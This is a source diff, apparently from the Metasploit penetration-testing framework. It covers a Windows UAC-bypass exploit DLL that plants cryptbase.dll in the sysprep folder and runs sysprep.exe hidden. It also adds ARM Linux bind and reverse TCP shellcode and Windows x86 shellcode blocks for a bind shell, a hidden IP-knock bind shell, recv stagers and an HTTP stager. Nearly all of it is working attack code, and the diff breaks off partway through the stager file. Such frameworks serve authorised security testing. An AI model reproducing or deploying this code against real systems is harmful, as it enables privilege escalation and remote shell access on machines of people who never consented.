const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
|
||||
|
||||
GetWindowsDirectoryW(windir, MAX_PATH);
|
||||
GetTempPathW(MAX_PATH, path);
|
||||
dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
|
||||
dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
|
||||
dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
|
||||
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
|
||||
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
|
||||
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
|
||||
|
||||
/* %temp%\cryptbase.dll */
|
||||
wcscat_s(path, MAX_PATH, szSourceDll);
|
||||
do
|
||||
{
|
||||
if (CoInitialize(NULL) != S_OK)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Failed to initialize COM");
|
||||
break;
|
||||
}
|
||||
|
||||
/* %windir%\System32\sysprep\ */
|
||||
wcscat_s(szElevDir, MAX_PATH, windir);
|
||||
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
|
||||
bComInitialised = TRUE;
|
||||
|
||||
/* %windir%\sysnative\sysprep\ */
|
||||
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
|
||||
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
|
||||
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
|
||||
break;
|
||||
}
|
||||
|
||||
/* %windir\system32\sysprep\cryptbase.dll */
|
||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
|
||||
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
|
||||
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
|
||||
break;
|
||||
}
|
||||
|
||||
/* %windir\sysnative\sysprep\cryptbase.dll */
|
||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
|
||||
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
|
||||
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
|
||||
break;
|
||||
}
|
||||
|
||||
/* %windir%\system32\sysprep\sysprep.exe */
|
||||
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
|
||||
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
|
||||
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
|
||||
break;
|
||||
}
|
||||
|
||||
if (CoInitialize(NULL) == S_OK)
|
||||
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
|
||||
{
|
||||
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
|
||||
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
|
||||
break;
|
||||
}
|
||||
|
||||
/* Copy the DLL file to the target folder*/
|
||||
if (pFileOp->PerformOperations() != S_OK)
|
||||
{
|
||||
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
|
||||
{
|
||||
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
|
||||
{
|
||||
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
|
||||
{
|
||||
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
|
||||
{
|
||||
/* Copy the DLL file to the sysprep folder*/
|
||||
if (pFileOp->PerformOperations() == S_OK)
|
||||
{
|
||||
/* Execute sysprep.exe */
|
||||
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
|
||||
break;
|
||||
}
|
||||
|
||||
/* Execute the target binary */
|
||||
SHELLEXECUTEINFOW shinfo;
|
||||
ZeroMemory(&shinfo, sizeof(shinfo));
|
||||
shinfo.cbSize = sizeof(shinfo);
|
||||
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
|
||||
shinfo.lpFile = szElevExeFull;
|
||||
shinfo.lpFile = paths->szElevExeFull;
|
||||
shinfo.lpParameters = szElevArgs;
|
||||
shinfo.lpDirectory = szElevDir;
|
||||
shinfo.lpDirectory = paths->szElevDir;
|
||||
shinfo.nShow = SW_HIDE;
|
||||
|
||||
Wow64DisableWow64FsRedirection(&OldValue);
|
||||
|
@ -86,34 +94,65 @@ void exploit()
|
|||
CloseHandle(shinfo.hProcess);
|
||||
}
|
||||
|
||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
||||
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|
||||
|| NULL == pSHIDelete)
|
||||
{
|
||||
if (0 != pSHIDelete)
|
||||
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
|
||||
break;
|
||||
}
|
||||
|
||||
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
{
|
||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
|
||||
break;
|
||||
}
|
||||
|
||||
if (pFileOp->PerformOperations() == S_OK)
|
||||
{
|
||||
pFileOp->PerformOperations();
|
||||
dprintf("[BYPASSUACINJ] Successfully deleted dll");
|
||||
|
||||
// bail out this point because we don't need to keep trying to delete
|
||||
break;
|
||||
}
|
||||
|
||||
SAFERELEASE(pSHIDelete);
|
||||
|
||||
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
|
||||
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
|
||||
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
|
||||
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
|
||||
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|
||||
|| NULL == pSHIDelete)
|
||||
{
|
||||
if (0 != pSHIDelete)
|
||||
dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
|
||||
break;
|
||||
}
|
||||
|
||||
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
{
|
||||
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
|
||||
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
|
||||
break;
|
||||
}
|
||||
|
||||
if (pFileOp->PerformOperations() == S_OK)
|
||||
{
|
||||
pFileOp->PerformOperations();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
SAFERELEASE(pSHIDelete);
|
||||
SAFERELEASE(pSHIDestination);
|
||||
SAFERELEASE(pSHISource);
|
||||
SAFERELEASE(pFileOp);
|
||||
|
||||
if (bComInitialised)
|
||||
{
|
||||
CoUninitialize();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h
vendored
Normal file → Executable file
30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h
vendored
Normal file → Executable file
|
@ -5,4 +5,32 @@
|
|||
#include <stdio.h>
|
||||
#include <guiddef.h>
|
||||
|
||||
EXTERN_C void exploit();
|
||||
// Uncomment this line to include debug output
|
||||
//#define DEBUGTRACE
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
static void real_dprintf(char *format, ...)
|
||||
{
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
va_start(args, format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
#else
|
||||
#define dprintf(...)
|
||||
#endif
|
||||
|
||||
typedef struct _BypassUacPaths
|
||||
{
|
||||
wchar_t szElevDir[MAX_PATH];
|
||||
wchar_t szElevDirSysWow64[MAX_PATH];
|
||||
wchar_t szElevDll[MAX_PATH];
|
||||
wchar_t szElevDllFull[MAX_PATH];
|
||||
wchar_t szElevExeFull[MAX_PATH];
|
||||
wchar_t szDllTempPath[MAX_PATH];
|
||||
} BypassUacPaths;
|
||||
|
||||
EXTERN_C void exploit(BypassUacPaths const * const paths);
|
||||
|
|
19
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
vendored
Normal file → Executable file
19
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c
vendored
Normal file → Executable file
|
@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
|
|||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
{
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
exploit();
|
||||
|
||||
if (NULL != lpReserved)
|
||||
{
|
||||
dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
|
||||
exploit((BypassUacPaths*)lpReserved);
|
||||
}
|
||||
|
||||
ExitProcess(0);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
|
||||
return TRUE;
|
||||
|
||||
}
|
||||
|
|
|
@ -0,0 +1,102 @@
|
|||
@@
|
||||
@
|
||||
@ Name: single_sock_bind
|
||||
@ Qualities: -
|
||||
@ Authors: civ, repmovsb
|
||||
@ License: MSF_LICENSE
|
||||
@ Description:
|
||||
@
|
||||
@ Implementation of a Linux bind TCP shellcode for ARM LE architecture.
|
||||
@
|
||||
@ This source is built from the payload module (instead of other way around...)
|
||||
@
|
||||
@ Assemble with: as single_sock_bind.s -o single_sock_bind.o
|
||||
@ Link with: ld single_sock_bind.o -o single_sock_bind
|
||||
@
|
||||
@ Meta-Information:
|
||||
@
|
||||
@ meta-shortname=Linux Bind TCP
|
||||
@ meta-description=Listen on a port for a connection and run a second stage
|
||||
@ meta-authors=civ, repmovsb
|
||||
@ meta-os=linux
|
||||
@ meta-arch=armle
|
||||
@ meta-category=singles
|
||||
@ meta-connection-type=bind
|
||||
@ meta-name=bind_tcp
|
||||
@@
|
||||
|
||||
.text
|
||||
.globl _start
|
||||
_start:
|
||||
@ int socket(int domain, int type, int protocol);
|
||||
@ socket(2,1,6)
|
||||
mov r0, #2
|
||||
mov r1, #1
|
||||
mov r2, #6
|
||||
mov r7, #1
|
||||
lsl r7, r7, #8
|
||||
add r7, r7, #25
|
||||
svc 0
|
||||
mov r6, r0
|
||||
|
||||
@ bind
|
||||
add r1, pc, #128
|
||||
mov r2, #16
|
||||
mov r7, #1
|
||||
lsl r7, r7, #8
|
||||
add r7, r7, #26
|
||||
svc 0
|
||||
|
||||
@ listen
|
||||
mov r0, r6
|
||||
mov r7, #1
|
||||
lsl r7, r7, #8
|
||||
add r7, r7, #28
|
||||
svc 0
|
||||
|
||||
@ accept
|
||||
mov r0, r6
|
||||
sub r1, r1, r1
|
||||
sub r2, r2, r2
|
||||
mov r7, #1
|
||||
lsl r7, r7, #8
|
||||
add r7, r7, #29
|
||||
svc 0
|
||||
|
||||
@ dup
|
||||
mov r6, r0
|
||||
mov r1, #2
|
||||
loop:
|
||||
mov r0, r6
|
||||
mov r7, #63
|
||||
svc 0
|
||||
subs r1, r1, #1
|
||||
bpl loop
|
||||
|
||||
@ execve(SHELL, [ARGV0], [NULL])
|
||||
add r0, pc, #36
|
||||
eor r4, r4, r4
|
||||
push {r4}
|
||||
mov r2, sp
|
||||
add r4, pc, #36
|
||||
push {r4}
|
||||
mov r1, sp
|
||||
mov r7, #11
|
||||
svc 0
|
||||
|
||||
@ addr
|
||||
@ port: 4444 , sin_fam = 2
|
||||
.word 0x5c110002
|
||||
@ ip: 0.0.0.0
|
||||
.word 0x00000000
|
||||
|
||||
@ SHELL
|
||||
.word 0x00000000 @ the shell goes here!
|
||||
.word 0x00000000
|
||||
.word 0x00000000
|
||||
.word 0x00000000
|
||||
@ ARGV0
|
||||
.word 0x00000000 @ the args!
|
||||
.word 0x00000000
|
||||
.word 0x00000000
|
||||
.word 0x00000000
|
|
@ -0,0 +1,93 @@
|
|||
@@
|
||||
@
|
||||
@ Name: single_sock_reverse
|
||||
@ Qualities: -
|
||||
@ Authors: civ, repmovsb
|
||||
@ License: MSF_LICENSE
|
||||
@ Description:
|
||||
@
|
||||
@ Implementation of a Linux reverse TCP shellcode for ARM LE architecture.
|
||||
@
|
||||
@ This source is built from the payload module (instead of other way around...)
|
||||
@
|
||||
@ Assemble with: as single_sock_reverse.s -o single_sock_reverse.o
|
||||
@ Link with: ld single_sock_reverse.o -o single_sock_reverse
|
||||
@
|
||||
@ Meta-Information:
|
||||
@
|
||||
@ meta-shortname=Linux Reverse TCP
|
||||
@ meta-description=Connect back to the framework and run a second stage
|
||||
@ meta-authors=civ, repmovsb
|
||||
@ meta-os=linux
|
||||
@ meta-arch=armle
|
||||
@ meta-category=singles
|
||||
@ meta-connection-type=reverse
|
||||
@ meta-name=reverse_tcp
|
||||
@@
|
||||
|
||||
.text
|
||||
.globl _start
|
||||
_start:
|
||||
@ int socket(int domain, int type, int protocol);
|
||||
@ socket(2,1,6)
|
||||
mov r0, #2
|
||||
mov r1, #1
|
||||
add r2, r1, #5
|
||||
mov r7, #140
|
||||
add r7, r7, #141
|
||||
svc 0
|
||||
|
||||
@ connect(soc, socaddr, 0x10)
|
||||
mov r6, r0
|
||||
add r1, pc, #96
|
||||
mov r2, #16
|
||||
mov r7, #141
|
||||
add r7, r7, #142
|
||||
svc 0
|
||||
|
||||
@ dup2(soc,0) @stdin
|
||||
mov r0, r6
|
||||
mov r1, #0
|
||||
mov r7, #63
|
||||
svc 0
|
||||
|
||||
@ dup2(soc,1) @stdout
|
||||
mov r0, r6
|
||||
mov r1, #1
|
||||
mov r7, #63
|
||||
svc 0
|
||||
|
||||
@ dup2(soc,2) @stderr
|
||||
mov r0, r6
|
||||
mov r1, #2
|
||||
mov r7, #63
|
||||
svc 0
|
||||
|
||||
@ execve(SHELL, [ARGV0], [NULL])
|
||||
add r0, pc, #36
|
||||
eor r4, r4, r4
|
||||
push {r4}
|
||||
mov r2, sp
|
||||
add r4, pc, #36
|
||||
push {r4}
|
||||
mov r1, sp
|
||||
mov r7, #11
|
||||
svc 0
|
||||
|
||||
@ addr
|
||||
@ port: 4444 , sin_fam = 2
|
||||
.word 0x5c110002
|
||||
@ ip: 192.168.1.1
|
||||
.word 0x0101a8c0
|
||||
@.word 0x0100007f
|
||||
|
||||
@ SHELL
|
||||
.word 0x00000000 @ the shell goes here!
|
||||
.word 0x00000000
|
||||
.word 0x00000000
|
||||
.word 0x00000000
|
||||
@ ARGV0
|
||||
.word 0x00000000 @ the args!
|
||||
.word 0x00000000
|
||||
.word 0x00000000
|
||||
.word 0x00000000
|
|
@ -2,7 +2,7 @@
|
|||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (24 July 2009)
|
||||
; Size: 137 bytes
|
||||
; Size: 130 bytes
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
||||
[BITS 32]
|
||||
|
@ -17,8 +17,8 @@
|
|||
api_call:
|
||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||
mov ebp, esp ; Create a new stack frame
|
||||
xor edx, edx ; Zero EDX
|
||||
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
||||
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
|
||||
mov edx, [fs:eax+48] ; Get a pointer to the PEB
|
||||
mov edx, [edx+12] ; Get PEB->Ldr
|
||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||
next_mod: ;
|
||||
|
@ -26,7 +26,6 @@ next_mod: ;
|
|||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||
loop_modname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the name
|
||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||
jl not_lowercase ;
|
||||
|
@ -41,10 +40,10 @@ not_lowercase: ;
|
|||
push edi ; Save the current module hash for later
|
||||
; Proceed to iterate the export address table,
|
||||
mov edx, [edx+16] ; Get this modules base address
|
||||
mov eax, [edx+60] ; Get PE header
|
||||
mov ecx, [edx+60] ; Get PE header
|
||||
|
||||
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
|
||||
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
|
||||
jecxz get_next_mod1 ; If no EAT present, process the next module
|
||||
add ecx, edx ; Add the modules base address
|
||||
push ecx ; Save the current modules EAT
|
||||
|
@ -62,7 +61,6 @@ get_next_func: ;
|
|||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||
; And compare it to the one we want
|
||||
loop_funcname: ;
|
||||
xor eax, eax ; Clear EAX
|
||||
lodsb ; Read in the next byte of the ASCII function name
|
||||
ror edi, 13 ; Rotate right our hash value
|
||||
add edi, eax ; Add the next byte of the name
|
||||
|
@ -94,7 +92,7 @@ finish:
|
|||
; We now automagically return to the correct caller...
|
||||
|
||||
get_next_mod: ;
|
||||
pop eax ; Pop off the current (now the previous) modules EAT
|
||||
pop edi ; Pop off the current (now the previous) modules EAT
|
||||
get_next_mod1: ;
|
||||
pop edi ; Pop off the current (now the previous) modules hash
|
||||
pop edx ; Restore our position in the module list
|
||||
|
|
|
@ -23,10 +23,16 @@ bind_tcp:
|
|||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
push byte 8
|
||||
pop ecx
|
||||
push_8_loop:
|
||||
push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
|
||||
loop push_8_loop
|
||||
|
||||
; push zero for the flags param [8]
|
||||
; push null for reserved parameter [7]
|
||||
; we do not specify a WSAPROTOCOL_INFO structure [6]
|
||||
; we do not specify a protocol [5]
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
|
@ -35,8 +41,7 @@ bind_tcp:
|
|||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
xor ebx, ebx ; Clear EBX
|
||||
push ebx ; bind to 0.0.0.0
|
||||
; bind to 0.0.0.0, pushed earlier [4]
|
||||
push 0x5C110002 ; family AF_INET and port 4444
|
||||
mov esi, esp ; save a pointer to sockaddr_in struct
|
||||
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
|
||||
|
@ -45,13 +50,13 @@ bind_tcp:
|
|||
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
|
||||
call ebp ; bind( s, &sockaddr_in, 16 );
|
||||
|
||||
push ebx ; backlog
|
||||
; backlog, pushed earlier [3]
|
||||
push edi ; socket
|
||||
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
|
||||
call ebp ; listen( s, 0 );
|
||||
|
||||
push ebx ; we set length for the sockaddr struct to zero
|
||||
push ebx ; we dont set the optional sockaddr param
|
||||
; we set length for the sockaddr struct to zero, pushed earlier [2]
|
||||
; we dont set the optional sockaddr param, pushed earlier [1]
|
||||
push edi ; listening socket
|
||||
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||
call ebp ; accept( s, 0, 0 );
|
||||
|
|
99
external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm
vendored
Normal file
99
external/source/shellcode/windows/x86/src/block/block_hidden_bind_ipknock.asm
vendored
Normal file
|
@ -0,0 +1,99 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Original Shellcode: Stephen Fewer (stephen_fewer@harmonysecurity.com)
|
||||
; Modified version to add hidden ipknock bind shell support: Borja Merino (bmerinofe@gmail.com)
|
||||
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
|
||||
; Version: 1.0 (December 2014)
|
||||
;-----------------------------------------------------------------------------;
|
||||
[BITS 32]
|
||||
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
; Output: EDI will be the newly connected clients socket
|
||||
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
bind_tcp:
|
||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
xor ebx, ebx ; Clear EBX
|
||||
push ebx ; bind to 0.0.0.0
|
||||
push 0x5C110002 ; family AF_INET and port 4444
|
||||
mov esi, esp ; save a pointer to sockaddr_in struct
|
||||
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
|
||||
push esi ; pointer to the sockaddr_in struct
|
||||
push edi ; socket
|
||||
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
|
||||
call ebp ; bind( s, &sockaddr_in, 16 );
|
||||
|
||||
; Hidden ipknock Support ----------
|
||||
|
||||
push 0x1 ; size, in bytes, of the buffer pointed to by the "optval" parameter
|
||||
push esp ; optval: pointer to the buffer in which the value for the requested option is specified
|
||||
push 0x3002 ; level at which the option is defined: SOL_SOCKET
|
||||
push 0xFFFF ; the socket option for which the value is to be set: SO_CONDITIONAL_ACCEPT
|
||||
push edi ; socket descriptor
|
||||
push 0x2977A2F1 ; hash( "ws2_32.dll", "setsockopt" )
|
||||
call ebp ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
|
||||
|
||||
push ebx ; backlog
|
||||
push edi ; socket
|
||||
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
|
||||
call ebp ; listen( s, 0 );
|
||||
condition:
|
||||
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
|
||||
call wsaaccept ; push the start of the condition function on the stack
|
||||
mov eax, DWORD [esp+4] ;
|
||||
mov eax, DWORD [eax+4] ;
|
||||
mov eax, DWORD [eax+4] ; get the client IP returned in the stack
|
||||
sub eax, 0x2101A8C0 ; compare the client IP with the IP allowed
|
||||
jz equal ; if equal, eax = 0
|
||||
xor eax, eax
|
||||
inc eax ; if not equal, eax = 1
|
||||
equal:
|
||||
mov DWORD [ebp+84], eax ; save the value of eax out of the scope of the callback.
|
||||
; This value will be read it after calling WSAaccept since
|
||||
; WSAaccept would always return FFFFFFFF when the IP is spoofed
|
||||
retn 0x20 ; some stack alignment needed to return to mswsock
|
||||
|
||||
wsaaccept:
|
||||
push ebx ; length of the sockaddr = nul
|
||||
push ebx ; struct sockaddr = nul
|
||||
push edi ; socket descriptor
|
||||
push 0x33BEAC94 ; hash( "ws2_32.dll", "wsaaccept" )
|
||||
call ebp ; wsaaccept( s, 0, 0, &fnCondition, 0)
|
||||
cmp DWORD [esp+4], 0
|
||||
jnz condition ; Check if the IP knocked is allowed
|
||||
inc eax
|
||||
jnz connection ; Check if the 3-Way Handshake is successfully established
|
||||
push ebx ; dwCallbackData (ebx = 0, no data needed for the condition function)
|
||||
push ebx ; fnCondition = 0
|
||||
jmp wsaaccept
|
||||
jz condition ; if error (eax = -1) jump to condition function to wait for another connection
|
||||
|
||||
connection:
|
||||
dec eax ; restore eax
|
||||
push edi ; push the listening socket to close
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
call ebp ; closesocket( s );
|
|
@ -38,7 +38,6 @@ read_more: ;
|
|||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, buffer, length, 0 );
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received
|
||||
test esi, esi ; test length
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
ret ; return into the second stage
|
||||
|
|
|
@ -48,8 +48,7 @@ read_more: ;
|
|||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, buffer, length, 0 );
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received
|
||||
test esi, esi ; test length
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
pop ebx ; address of S-box
|
||||
pop ecx ; stage length
|
||||
|
|
|
@ -35,48 +35,52 @@ load_wininet:
|
|||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "wininet" )
|
||||
|
||||
xor ebx,ebx
|
||||
set_retry:
|
||||
push byte 8 ; retry 8 times should be enough
|
||||
pop edi
|
||||
xor ebx, ebx ; push 8 zeros ([1]-[8])
|
||||
mov ecx, edi
|
||||
push_zeros:
|
||||
push ebx
|
||||
loop push_zeros
|
||||
|
||||
internetopen:
|
||||
push ebx ; DWORD dwFlags
|
||||
push ebx ; LPCTSTR lpszProxyBypass (NULL)
|
||||
push ebx ; LPCTSTR lpszProxyName (NULL)
|
||||
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
push ebx ; LPCTSTR lpszAgent (NULL)
|
||||
; DWORD dwFlags [1]
|
||||
; LPCTSTR lpszProxyBypass (NULL) [2]
|
||||
; LPCTSTR lpszProxyName (NULL) [3]
|
||||
; DWORD dwAccessType (PRECONFIG = 0) [4]
|
||||
; LPCTSTR lpszAgent (NULL) [5]
|
||||
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call ebp
|
||||
|
||||
internetconnect:
|
||||
push ebx ; DWORD_PTR dwContext (NULL)
|
||||
push ebx ; dwFlags
|
||||
; DWORD_PTR dwContext (NULL) [6]
|
||||
; dwFlags [7]
|
||||
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
|
||||
push ebx ; password (NULL)
|
||||
push ebx ; username (NULL)
|
||||
push dword 4444 ; PORT
|
||||
jmp short dbl_get_server_host ; push pointer to HOSTNAME
|
||||
call got_server_uri ; double call to get pointer for both server_uri and
|
||||
server_uri: ; server_host; server_uri is saved in EDI for later
|
||||
db "/12345", 0x00
|
